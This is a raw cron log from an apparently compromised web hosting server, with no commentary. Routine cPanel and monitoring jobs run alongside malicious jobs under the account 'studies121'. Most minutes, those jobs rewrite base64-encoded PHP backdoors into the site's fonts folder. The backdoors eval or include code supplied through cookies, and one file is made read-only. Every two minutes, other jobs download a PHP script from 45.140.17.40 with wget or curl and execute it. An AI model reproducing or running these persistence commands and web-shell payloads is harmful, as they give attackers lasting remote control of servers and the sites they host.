Sep  5 10:46:01 ip-184-168-122-23 CROND[28998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:46:01 ip-184-168-122-23 CROND[29000]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 10:46:01 ip-184-168-122-23 CROND[28996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:47:01 ip-184-168-122-23 CROND[29173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:47:01 ip-184-168-122-23 CROND[29175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:47:01 ip-184-168-122-23 CROND[29176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:47:01 ip-184-168-122-23 CROND[29177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:48:01 ip-184-168-122-23 CROND[29361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:48:01 ip-184-168-122-23 CROND[29365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:48:01 ip-184-168-122-23 CROND[29364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:48:01 ip-184-168-122-23 CROND[29363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:48:01 ip-184-168-122-23 CROND[29366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:49:01 ip-184-168-122-23 CROND[29602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:49:01 ip-184-168-122-23 CROND[29604]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 10:49:01 ip-184-168-122-23 CROND[29603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:49:01 ip-184-168-122-23 CROND[29605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:49:01 ip-184-168-122-23 CROND[29606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:50:01 ip-184-168-122-23 CROND[29792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:50:01 ip-184-168-122-23 CROND[29791]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:50:01 ip-184-168-122-23 CROND[29793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:50:01 ip-184-168-122-23 CROND[29797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:50:01 ip-184-168-122-23 CROND[29799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:50:01 ip-184-168-122-23 CROND[29798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:50:01 ip-184-168-122-23 CROND[29796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:50:01 ip-184-168-122-23 CROND[29800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:50:01 ip-184-168-122-23 CROND[29795]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 10:51:01 ip-184-168-122-23 CROND[30000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:51:01 ip-184-168-122-23 CROND[30001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:51:01 ip-184-168-122-23 CROND[30004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:51:01 ip-184-168-122-23 CROND[30003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:52:01 ip-184-168-122-23 CROND[30145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:52:01 ip-184-168-122-23 CROND[30150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:52:01 ip-184-168-122-23 CROND[30148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:52:01 ip-184-168-122-23 CROND[30147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:52:01 ip-184-168-122-23 CROND[30149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:53:01 ip-184-168-122-23 CROND[30302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:53:01 ip-184-168-122-23 CROND[30301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:53:01 ip-184-168-122-23 CROND[30303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:53:01 ip-184-168-122-23 CROND[30304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:54:01 ip-184-168-122-23 CROND[30432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:54:01 ip-184-168-122-23 CROND[30433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:54:01 ip-184-168-122-23 CROND[30435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:54:01 ip-184-168-122-23 CROND[30437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:54:01 ip-184-168-122-23 CROND[30434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:55:01 ip-184-168-122-23 CROND[30624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:55:01 ip-184-168-122-23 CROND[30625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:55:01 ip-184-168-122-23 CROND[30629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:55:01 ip-184-168-122-23 CROND[30630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:55:01 ip-184-168-122-23 CROND[30628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:55:01 ip-184-168-122-23 CROND[30633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:56:01 ip-184-168-122-23 CROND[30913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:56:01 ip-184-168-122-23 CROND[30914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:56:01 ip-184-168-122-23 CROND[30916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:56:01 ip-184-168-122-23 CROND[30915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:56:01 ip-184-168-122-23 CROND[30917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:57:01 ip-184-168-122-23 CROND[31121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:57:01 ip-184-168-122-23 CROND[31122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:57:01 ip-184-168-122-23 CROND[31123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:57:01 ip-184-168-122-23 CROND[31125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:58:01 ip-184-168-122-23 CROND[31255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:58:01 ip-184-168-122-23 CROND[31256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:58:01 ip-184-168-122-23 CROND[31258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:58:01 ip-184-168-122-23 CROND[31259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
